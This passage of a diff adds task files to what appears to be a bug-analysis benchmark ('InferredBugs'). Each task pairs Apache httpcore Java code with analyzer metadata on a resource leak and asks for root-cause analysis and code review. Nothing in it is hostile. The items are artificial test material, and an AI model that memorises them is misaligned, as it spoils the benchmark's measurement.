+                new TimeoutByteArrayInputStream(s.getBytes(Consts.ISO_8859_1)), 16);
+        final InputStream in = new ChunkedInputStream(sessbuf);
+
+        final byte[] tmp = new byte[3];
+
+        int bytesRead = 0;
+        int timeouts = 0;
+
+        int i = 0;
+        while (i != -1) {
+            try {
+                i = in.read(tmp);
+                if (i > 0) {
+                    bytesRead += i;
+                }
+            } catch (final InterruptedIOException ex) {
+                timeouts++;
+            }
+        }
+        Assert.assertEquals(20, bytesRead);
+        Assert.assertEquals(2, timeouts);
+        in.close();
+}
+
+    @Test
+    public void testResumeOnSocketTimeoutInChunk() throws IOException {
+        final String s = "5\000\r\000\n\00001234\r\n\0005\r\n56789\r\na\r\n0123456789\r\n\0000\r\n";
+        final SessionInputBuffer sessbuf = new SessionInputBufferMock(
+                new TimeoutByteArrayInputStream(s.getBytes(Consts.ISO_8859_1)), 16);
+        final InputStream in = new ChunkedInputStream(sessbuf);
+
+        final byte[] tmp = new byte[3];
+
+        int bytesRead = 0;
+        int timeouts = 0;
+
+        int i = 0;
+        while (i != -1) {
+            try {
+                i = in.read(tmp);
+                if (i > 0) {
+                    bytesRead += i;
+                }
+            } catch (final InterruptedIOException ex) {
+                timeouts++;
+            }
+        }
+        Assert.assertEquals(20, bytesRead);
+        Assert.assertEquals(5, timeouts);
+        in.close();
+}
+
+}
+
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.http.impl.io.ChunkedInputStream` acquired by call to `ChunkedInputStream(...)` at line 249 is not released after line 251.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestChunkCoding.testCorruptChunkedInputStreamInvalidSize()
+
+### Procedure Id:
+org.apache.http.impl.io.TestChunkCoding.testCorruptChunkedInputStreamInvalidSize():void.cf325b7192bf184409ab05714a55d934
+
+### File:
+httpcore/src/test/java/org/apache/http/impl/io/TestChunkCoding.java
+
+### Key:
+TestChunkCoding.java|testCorruptChunkedInputStreamInvalidSize|RESOURCE_LEAK
+
+### Node Key:
+a355fc2e19af08ed67e1aac646580523
+
+### Hash:
+441366caeb4352f4826909bb0fe269cc
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4278/instruction.md b/inferredbugs-4278/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0564a5c388a8e15a3cdd661cecffb0ad9ad737ea
--- /dev/null
+++ b/inferredbugs-4278/instruction.md
@@ -0,0 +1,416 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** httpcomponents-core
+**Bug ID:** 97
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * ====================================================================
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ * ====================================================================
+ *
+ * This software consists of voluntary contributions made by many
+ * individuals on behalf of the Apache Software Foundation.  For more
+ * information on the Apache Software Foundation, please see
+ * <http://www.apache.org/>.
+ *
+ */
+
+package org.apache.http.impl.nio.codecs;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.RandomAccessFile;
+import java.nio.ByteBuffer;
+import java.nio.channels.FileChannel;
+import java.nio.channels.ReadableByteChannel;
+
+import org.apache.http.Consts;
+import org.apache.http.ReadableByteChannelMock;
+import org.apache.http.impl.io.HttpTransportMetricsImpl;
+import org.apache.http.impl.nio.reactor.SessionInputBufferImpl;
+import org.apache.http.nio.reactor.SessionInputBuffer;
+import org.junit.Assert;
+import org.junit.Test;
+
+/**
+ * Simple tests for {@link LengthDelimitedDecoder}.
+ */
+public class TestIdentityDecoder {
+
+    private static String convert(final ByteBuffer src) {
+        src.flip();
+        final StringBuilder buffer = new StringBuilder(src.remaining());
+        while (src.hasRemaining()) {
+            buffer.append((char)(src.get() & 0xff));
+        }
+        return buffer.toString();
+    }
+
+    private static String readFromFile(final File file) throws Exception {
+        final FileInputStream filestream = new FileInputStream(file);
+        final InputStreamReader reader = new InputStreamReader(filestream);
+        try {
+            final StringBuilder buffer = new StringBuilder();
+            final char[] tmp = new char[2048];
+            int l;
+            while ((l = reader.read(tmp)) != -1) {
+                buffer.append(tmp, 0, l);
+            }
+            return buffer.toString();
+        } finally {
+            reader.close();
+        }
+    }
+
+    @Test
+    public void testBasicDecoding() throws Exception {
+        final ReadableByteChannel channel = new ReadableByteChannelMock(
+                new String[] {"stuff;", "more stuff"}, "US-ASCII");
+
+        final SessionInputBuffer inbuf = new SessionInputBufferImpl(1024, 256, Consts.ASCII);
+        final HttpTransportMetricsImpl metrics = new HttpTransportMetricsImpl();
+        final IdentityDecoder decoder = new IdentityDecoder(channel, inbuf, metrics);
+
+        final ByteBuffer dst = ByteBuffer.allocate(1024);
+
+        int bytesRead = decoder.read(dst);
+        Assert.assertEquals(6, bytesRead);
+        Assert.assertEquals("stuff;", convert(dst));
+        Assert.assertFalse(decoder.isCompleted());
+        Assert.assertEquals(6, metrics.getBytesTransferred());
+
+        dst.clear();
+        bytesRead = decoder.read(dst);
+        Assert.assertEquals(10, bytesRead);
+        Assert.assertEquals("more stuff", convert(dst));
+        Assert.assertFalse(decoder.isCompleted());
+        Assert.assertEquals(16, metrics.getBytesTransferred());
+
+        dst.clear();
+        bytesRead = decoder.read(dst);
+        Assert.assertEquals(-1, bytesRead);
+        Assert.assertTrue(decoder.isCompleted());
+        Assert.assertEquals(16, metrics.getBytesTransferred());
+
+        dst.clear();
+        bytesRead = decoder.read(dst);
+        Assert.assertEquals(-1, bytesRead);
+        Assert.assertTrue(decoder.isCompleted());
+        Assert.assertEquals(16, metrics.getBytesTransferred());
+    }
+
+    @Test
+    public void testDecodingFromSessionBuffer() throws Exception {
+        final ReadableByteChannel channel = new ReadableByteChannelMock(
+                new String[] {"stuff;", "more stuff"}, "US-ASCII");
+
+        final SessionInputBuffer inbuf = new SessionInputBufferImpl(1024, 256, Consts.ASCII);
+        final HttpTransportMetricsImpl metrics = new HttpTransportMetricsImpl();
+
+        inbuf.fill(channel);
+
+        Assert.assertEquals(6, inbuf.length());
+
+        final IdentityDecoder decoder = new IdentityDecoder(channel, inbuf, metrics);
+
+        final ByteBuffer dst = ByteBuffer.allocate(1024);
+
+        int bytesRead = decoder.read(dst);
+        Assert.assertEquals(6, bytesRead);
+        Assert.assertEquals("stuff;", convert(dst));
+        Assert.assertFalse(decoder.isCompleted());
+        Assert.assertEquals(0, metrics.getBytesTransferred()); // doesn't count if from session buffer
+
+        dst.clear();
+        bytesRead = decoder.read(dst);
+        Assert.assertEquals(10, bytesRead);
+        Assert.assertEquals("more stuff", convert(dst));
+        Assert.assertFalse(decoder.isCompleted());
+        Assert.assertEquals(10, metrics.getBytesTransferred());
+
+        dst.clear();
+        bytesRead = decoder.read(dst);
+        Assert.assertEquals(-1, bytesRead);
+        Assert.assertTrue(decoder.isCompleted());
+        Assert.assertEquals(10, metrics.getBytesTransferred());
+
+        dst.clear();
+        bytesRead = decoder.read(dst);
+        Assert.assertEquals(-1, bytesRead);
+        Assert.assertTrue(decoder.isCompleted());
+        Assert.assertEquals(10, metrics.getBytesTransferred());
+
+    }
+
+    @Test
+    public void testBasicDecodingFile() throws Exception {
+        final ReadableByteChannel channel = new ReadableByteChannelMock(
+                new String[] {"stuff; ", "more stuff; ", "a lot more stuff!"}, "US-ASCII");
+
+        final SessionInputBuffer inbuf = new SessionInputBufferImpl(1024, 256, Consts.ASCII);
+        final HttpTransportMetricsImpl metrics = new HttpTransportMetricsImpl();
+        final IdentityDecoder decoder = new IdentityDecoder(
+                channel, inbuf, metrics);
+
+        final File fileHandle = File.createTempFile("testFile", ".txt");
+
+        final RandomAccessFile testfile = new RandomAccessFile(fileHandle, "rw");
+        final FileChannel fchannel = testfile.getChannel();
+
+        long pos = 0;
+        while (!decoder.isCompleted()) {
+            final long bytesRead = decoder.transfer(fchannel, pos, 10);
+            if (bytesRead > 0) {
+                pos += bytesRead;
+            }
+        }
+
+        Assert.assertEquals(testfile.length(), metrics.getBytesTransferred());
+        fchannel.close();
+
+        Assert.assertEquals("stuff; more stuff; a lot more stuff!", readFromFile(fileHandle));
+
+        deleteWithCheck(fileHandle);
+    }
+
+    private void deleteWithCheck(final File handle){
+        if (!handle.delete() && handle.exists()){
+            System.err.println("Failed to delete: "+handle.getPath());
+        }
+    }
+
+    @Test
+    public void testDecodingFileWithBufferedSessionData() throws Exception {
+        final ReadableByteChannel channel = new ReadableByteChannelMock(
+                new String[] {"stuff; ", "more stuff; ", "a lot more stuff!"}, "US-ASCII");
+
+        final SessionInputBuffer inbuf = new SessionInputBufferImpl(1024, 256, Consts.ASCII);
+        final HttpTransportMetricsImpl metrics = new HttpTransportMetricsImpl();
+        final IdentityDecoder decoder = new IdentityDecoder(
+                channel, inbuf, metrics);
+
+        final int i = inbuf.fill(channel);
+        Assert.assertEquals(7, i);
+
+        final File fileHandle = File.createTempFile("testFile", ".txt");
+
+        final RandomAccessFile testfile = new RandomAccessFile(fileHandle, "rw");
+        final FileChannel fchannel = testfile.getChannel();
+
+        long pos = 0;
+        while (!decoder.isCompleted()) {
+            final long bytesRead = decoder.transfer(fchannel, pos, 10);
+            if (bytesRead > 0) {
+                pos += bytesRead;
+            }
+        }
+
+        // count everything except the initial 7 bytes that went to the session buffer
+        Assert.assertEquals(testfile.length() - 7, metrics.getBytesTransferred());
+        fchannel.close();
+
+        Assert.assertEquals("stuff; more stuff; a lot more stuff!", readFromFile(fileHandle));
+
+        deleteWithCheck(fileHandle);
+    }
+
+    @Test
+    public void testDecodingFileWithOffsetAndBufferedSessionData() throws Exception {
+        final ReadableByteChannel channel = new ReadableByteChannelMock(
+                new String[] {"stuff; ", "more stuff; ", "a lot more stuff!"}, "US-ASCII");
+
+        final SessionInputBuffer inbuf = new SessionInputBufferImpl(1024, 256, Consts.ASCII);
+        final HttpTransportMetricsImpl metrics = new HttpTransportMetricsImpl();
+        final IdentityDecoder decoder = new IdentityDecoder(
+                channel, inbuf, metrics);
+
+        final int i = inbuf.fill(channel);
+        Assert.assertEquals(7, i);
+
+        final File fileHandle = File.createTempFile("testFile", ".txt");
+
+        RandomAccessFile testfile = new RandomAccessFile(fileHandle, "rw");
+        final byte[] beginning = "beginning; ".getBytes("US-ASCII");
+        testfile.write(beginning);
+        testfile.close();
+
+        testfile = new RandomAccessFile(fileHandle, "rw");
+        final FileChannel fchannel = testfile.getChannel();
+
+        long pos = beginning.length;
+        while (!decoder.isCompleted()) {
+            if(testfile.length() < pos) {
+                testfile.setLength(pos);
+            }
+            final long bytesRead = decoder.transfer(fchannel, pos, 10);
+            if (bytesRead > 0) {
+                pos += bytesRead;
+            }
+        }
+
+        // count everything except the initial 7 bytes that went to the session buffer
+        Assert.assertEquals(testfile.length() - 7 - beginning.length, metrics.getBytesTransferred());
+        fchannel.close();
+
+        Assert.assertEquals("beginning; stuff; more stuff; a lot more stuff!", readFromFile(fileHandle));
+
+        deleteWithCheck(fileHandle);
+    }
+
+    @Test
+    public void testWriteBeyondFileSize() throws Exception {
+        final ReadableByteChannel channel = new ReadableByteChannelMock(
+                new String[] {"a"}, "US-ASCII");
+
+        final SessionInputBuffer inbuf = new SessionInputBufferImpl(1024, 256, Consts.ASCII);
+        final HttpTransportMetricsImpl metrics = new HttpTransportMetricsImpl();
+        final IdentityDecoder decoder = new IdentityDecoder(
+                channel, inbuf, metrics);
+
+        final File fileHandle = File.createTempFile("testFile", ".txt");
+
+        final RandomAccessFile testfile = new RandomAccessFile(fileHandle, "rw");
+        final FileChannel fchannel = testfile.getChannel();
+        Assert.assertEquals(0, testfile.length());
+
+        try {
+            decoder.transfer(fchannel, 5, 10);
+            Assert.fail("expected IOException");
+        } catch(final IOException iox) {}
+
+        testfile.close();
+        deleteWithCheck(fileHandle);
+    }
+
+    @Test
+    public void testInvalidConstructor() {
+        final ReadableByteChannel channel = new ReadableByteChannelMock(
+                new String[] {"stuff;", "more stuff"}, "US-ASCII");
+
+        final SessionInputBuffer inbuf = new SessionInputBufferImpl(1024, 256, Consts.ASCII);
+        try {
+            new IdentityDecoder(null, null, null);
+            Assert.fail("IllegalArgumentException should have been thrown");
+        } catch (final IllegalArgumentException ex) {
+            // ignore
+        }
+        try {
+            new IdentityDecoder(channel, null, null);
+            Assert.fail("IllegalArgumentException should have been thrown");
+        } catch (final IllegalArgumentException ex) {
+            // ignore
+        }
+        try {
+            new IdentityDecoder(channel, inbuf, null);
+            Assert.fail("IllegalArgumentException should have been thrown");
+        } catch (final IllegalArgumentException ex) {
+            // ignore
+        }
+    }
+
+    @Test
+    public void testInvalidInput() throws Exception {
+        final String s = "stuff";
+        final ReadableByteChannel channel = new ReadableByteChannelMock(
+                new String[] {s}, "US-ASCII");
+
+        final SessionInputBuffer inbuf = new SessionInputBufferImpl(1024, 256, Consts.ASCII);
+        final HttpTransportMetricsImpl metrics = new HttpTransportMetricsImpl();
+        final IdentityDecoder decoder = new IdentityDecoder(channel, inbuf, metrics);
+
+        try {
+            decoder.read(null);
+            Assert.fail("IllegalArgumentException should have been thrown");
+        } catch (final IllegalArgumentException ex) {
+            // expected
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.RandomAccessFile` acquired by call to `RandomAccessFile(...)` at line 169 is not released after line 186.
+**Note**: potential exception at line 180
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestIdentityDecoder.testBasicDecodingFile()
+
+### Procedure Id:
+org.apache.http.impl.nio.codecs.TestIdentityDecoder.testBasicDecodingFile():void.8e262f02f97a83d3fc40142f8efc5b9c
+
+### File:
+httpcore-nio/src/test/java/org/apache/http/impl/nio/codecs/TestIdentityDecoder.java
+
+### Key:
+TestIdentityDecoder.java|testBasicDecodingFile|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+bdb6d0f93258c42670d6754d82d03f1d
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4302/instruction.md b/inferredbugs-4302/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0d289683c9daefe25cf2d58b3e49977661a1b034
--- /dev/null
+++ b/inferredbugs-4302/instruction.md
@@ -0,0 +1,306 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** httpcomponents-core
+**Bug ID:** 71
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * ====================================================================
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ * ====================================================================
+ *
+ * This software consists of voluntary contributions made by many
+ * individuals on behalf of the Apache Software Foundation.  For more
+ * information on the Apache Software Foundation, please see
+ * <http://www.apache.org/>.
+ *
+ */
+
+package org.apache.http.util;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.Reader;
+
+import org.apache.http.HeaderElement;
+import org.apache.http.HttpEntity;
+import org.apache.http.NameValuePair;
+import org.apache.http.ParseException;
+import org.apache.http.entity.ContentType;
+import org.apache.http.protocol.HTTP;
+
+/**
+ * Static helpers for dealing with {@link HttpEntity}s.
+ *
+ * @since 4.0
+ */
+public final class EntityUtils {
+
+    private EntityUtils() {
+    }
+
+    /**
+     * Ensures that the entity content is fully consumed and the content stream, if exists,
+     * is closed.
+     *
+     * @param entity
+     * @throws IOException if an error occurs reading the input stream
+     *
+     * @since 4.1
+     */
+    public static void consume(final HttpEntity entity) throws IOException {
+        if (entity == null) {
+            return;
+        }
+        if (entity.isStreaming()) {
+            InputStream instream = entity.getContent();
+            if (instream != null) {
+                instream.close();
+            }
+        }
+    }
+
+    /**
+     * Read the contents of an entity and return it as a byte array.
+     *
+     * @param entity
+     * @return byte array containing the entity content. May be null if
+     *   {@link HttpEntity#getContent()} is null.
+     * @throws IOException if an error occurs reading the input stream
+     * @throws IllegalArgumentException if entity is null or if content length > Integer.MAX_VALUE
+     */
+    public static byte[] toByteArray(final HttpEntity entity) throws IOException {
+        if (entity == null) {
+            throw new IllegalArgumentException("HTTP entity may not be null");
+        }
+        InputStream instream = entity.getContent();
+        if (instream == null) {
+            return null;
+        }
+        try {
+            if (entity.getContentLength() > Integer.MAX_VALUE) {
+                throw new IllegalArgumentException("HTTP entity too large to be buffered in memory");
+            }
+            int i = (int)entity.getContentLength();
+            if (i < 0) {
+                i = 4096;
+            }
+            ByteArrayBuffer buffer = new ByteArrayBuffer(i);
+            byte[] tmp = new byte[4096];
+            int l;
+            while((l = instream.read(tmp)) != -1) {
+                buffer.append(tmp, 0, l);
+            }
+            return buffer.toByteArray();
+        } finally {
+            instream.close();
+        }
+    }
+
+    /**
+     * Obtains character set of the entity, if known.
+     *
+     * @param entity must not be null
+     * @return the character set, or null if not found
+     * @throws ParseException if header elements cannot be parsed
+     * @throws IllegalArgumentException if entity is null
+     *
+     * @deprecated use {@link ContentType#getOrDefault(HttpEntity)}
+     */
+    @Deprecated
+    public static String getContentCharSet(final HttpEntity entity) throws ParseException {
+        if (entity == null) {
+            throw new IllegalArgumentException("HTTP entity may not be null");
+        }
+        String charset = null;
+        if (entity.getContentType() != null) {
+            HeaderElement values[] = entity.getContentType().getElements();
+            if (values.length > 0) {
+                NameValuePair param = values[0].getParameterByName("charset");
+                if (param != null) {
+                    charset = param.getValue();
+                }
+            }
+        }
+        return charset;
+    }
+
+    /**
+     * Obtains mime type of the entity, if known.
+     *
+     * @param entity must not be null
+     * @return the character set, or null if not found
+     * @throws ParseException if header elements cannot be parsed
+     * @throws IllegalArgumentException if entity is null
+     *
+     * @since 4.1
+     *
+     * @deprecated use {@link ContentType#getOrDefault(HttpEntity)}
+     */
+    @Deprecated
+    public static String getContentMimeType(final HttpEntity entity) throws ParseException {
+        if (entity == null) {
+            throw new IllegalArgumentException("HTTP entity may not be null");
+        }
+        String mimeType = null;
+        if (entity.getContentType() != null) {
+            HeaderElement values[] = entity.getContentType().getElements();
+            if (values.length > 0) {
+                mimeType = values[0].getName();
+            }
+        }
+        return mimeType;
+    }
+
+    /**
+     * Get the entity content as a String, using the provided default character set
+     * if none is found in the entity.
+     * If defaultCharset is null, the default "ISO-8859-1" is used.
+     *
+     * @param entity must not be null
+     * @param defaultCharset character set to be applied if none found in the entity
+     * @return the entity content as a String. May be null if
+     *   {@link HttpEntity#getContent()} is null.
+     * @throws ParseException if header elements cannot be parsed
+     * @throws IllegalArgumentException if entity is null or if content length > Integer.MAX_VALUE
+     * @throws IOException if an error occurs reading the input stream
+     */
+    public static String toString(
+            final HttpEntity entity, final String defaultCharset) throws IOException, ParseException {
+        if (entity == null) {
+            throw new IllegalArgumentException("HTTP entity may not be null");
+        }
+        InputStream instream = entity.getContent();
+        if (instream == null) {
+            return null;
+        }
+        try {
+            if (entity.getContentLength() > Integer.MAX_VALUE) {
+                throw new IllegalArgumentException("HTTP entity too large to be buffered in memory");
+            }
+            int i = (int)entity.getContentLength();
+            if (i < 0) {
+                i = 4096;
+            }
+            String charset = getContentCharSet(entity);
+            if (charset == null) {
+                charset = defaultCharset;
+            }
+            if (charset == null) {
+                charset = HTTP.DEFAULT_CONTENT_CHARSET;
+            }
+            Reader reader = new InputStreamReader(instream, charset);
+            CharArrayBuffer buffer = new CharArrayBuffer(i);
+            char[] tmp = new char[1024];
+            int l;
+            while((l = reader.read(tmp)) != -1) {
+                buffer.append(tmp, 0, l);
+            }
+            return buffer.toString();
+        } finally {
+            instream.close();
+        }
+    }
+
+    /**
+     * Read the contents of an entity and return it as a String.
+     * The content is converted using the character set from the entity (if any),
+     * failing that, "ISO-8859-1" is used.
+     *
+     * @param entity
+     * @return String containing the content.
+     * @throws ParseException if header elements cannot be parsed
+     * @throws IllegalArgumentException if entity is null or if content length > Integer.MAX_VALUE
+     * @throws IOException if an error occurs reading the input stream
+     */
+    public static String toString(final HttpEntity entity)
+        throws IOException, ParseException {
+        return toString(entity, null);
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `InputStreamReader(...)` at line 202 is not released after line 211.
+**Note**: potential exception at line 206
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String EntityUtils.toString(HttpEntity,String)
+
+### Procedure Id:
+org.apache.http.util.EntityUtils.toString(org.apache.http.HttpEntity,java.lang.String):java.lang.Str.20c5dc2764e4c4ca1fba69292ce91d23
+
+### File:
+httpcore/src/main/java/org/apache/http/util/EntityUtils.java
+
+### Key:
+EntityUtils.java|toString|RESOURCE_LEAK
+
+### Node Key:
+6d15c9608e0b7a140ecfdba5dce92676
+
+### Hash:
+67d0c89967c6ee435dc45cd0a0e72b75
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4304/instruction.md b/inferredbugs-4304/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6c9a40ee8ea817fe7e675a69bfc1af312c223f3a
--- /dev/null
+++ b/inferredbugs-4304/instruction.md
@@ -0,0 +1,179 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** httpcomponents-core
+**Bug ID:** 76
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * ====================================================================
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ * ====================================================================
+ *
+ * This software consists of voluntary contributions made by many
+ * individuals on behalf of the Apache Software Foundation.  For more
+ * information on the Apache Software Foundation, please see
+ * <http://www.apache.org/>.
+ *
+ */
+package org.apache.http.nio.protocol;
+
+import java.io.IOException;
+
+import org.apache.http.ContentTooLongException;
+import org.apache.http.HttpEntity;
+import org.apache.http.HttpEntityEnclosingRequest;
+import org.apache.http.HttpRequest;
+import org.apache.http.annotation.ThreadSafe;
+import org.apache.http.entity.ContentType;
+import org.apache.http.nio.ContentDecoder;
+import org.apache.http.nio.IOControl;
+import org.apache.http.nio.entity.ContentBufferEntity;
+import org.apache.http.nio.util.HeapByteBufferAllocator;
+import org.apache.http.nio.util.SimpleInputBuffer;
+import org.apache.http.protocol.HttpContext;
+
+/**
+ * Basic implementation of {@link HttpAsyncRequestConsumer}. Please note that
+ * this consumer buffers request content in memory and should be used for
+ * relatively small request messages.
+ *
+ * @since 4.2
+ */
+@ThreadSafe
+public class BasicAsyncRequestConsumer extends AbstractAsyncRequestConsumer<HttpRequest> {
+
+    private volatile HttpRequest request;
+    private volatile SimpleInputBuffer buf;
+
+    public BasicAsyncRequestConsumer() {
+        super();
+    }
+
+    @Override
+    protected void onRequestReceived(final HttpRequest request) throws IOException {
+        this.request = request;
+        if (request instanceof HttpEntityEnclosingRequest) {
+            HttpEntity entity = ((HttpEntityEnclosingRequest) this.request).getEntity();
+            if (entity != null) {
+                long len = entity.getContentLength();
+                if (len > Integer.MAX_VALUE) {
+                    throw new ContentTooLongException("Entity content is too long: " + len);
+                }
+                if (len < 0) {
+                    len = 4096;
+                }
+                this.buf = new SimpleInputBuffer((int) len, HeapByteBufferAllocator.INSTANCE);
+                ((HttpEntityEnclosingRequest) this.request).setEntity(
+                        new ContentBufferEntity(entity, this.buf));
+            }
+        }
+    }
+
+    @Override
+    protected void onEntityEnclosed(final HttpEntity entity, final ContentType contentType) {
+    }
+
+    @Override
+    protected void onContentReceived(
+            final ContentDecoder decoder, final IOControl ioctrl) throws IOException {
+        if (this.buf == null) {
+            throw new IllegalStateException("Content buffer is null");
+        }
+        this.buf.consumeContent(decoder);
+    }
+
+    @Override
+    protected void releaseResources() {
+        this.request = null;
+        this.buf = null;
+    }
+
+    @Override
+    protected HttpRequest buildResult(final HttpContext context) {
+        return this.request;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.http.nio.entity.ContentInputStream` acquired by call to `ContentBufferEntity(...)` at line 75 is not released after line 75.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BasicAsyncRequestConsumer.onRequestReceived(HttpRequest)
+
+### Procedure Id:
+org.apache.http.nio.protocol.BasicAsyncRequestConsumer.onRequestReceived(org.apache.http.HttpRequest.d7559d64665996a1a071698fc52146df
+
+### File:
+httpcore-nio/src/main/java/org/apache/http/nio/protocol/BasicAsyncRequestConsumer.java
+
+### Key:
+BasicAsyncRequestConsumer.java|onRequestReceived|RESOURCE_LEAK
+
+### Node Key:
+366736a12b05ba838fd1569a346daa9b
+
+### Hash:
+9f6da108c4309f71f08d2f9b094830f5
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4305/instruction.md b/inferredbugs-4305/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..54f939b969b4d7d14338a5d527d664f0988963dc
--- /dev/null
+++ b/inferredbugs-4305/instruction.md
@@ -0,0 +1,432 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** httpcomponents-core
+**Bug ID:** 82
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * ====================================================================
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
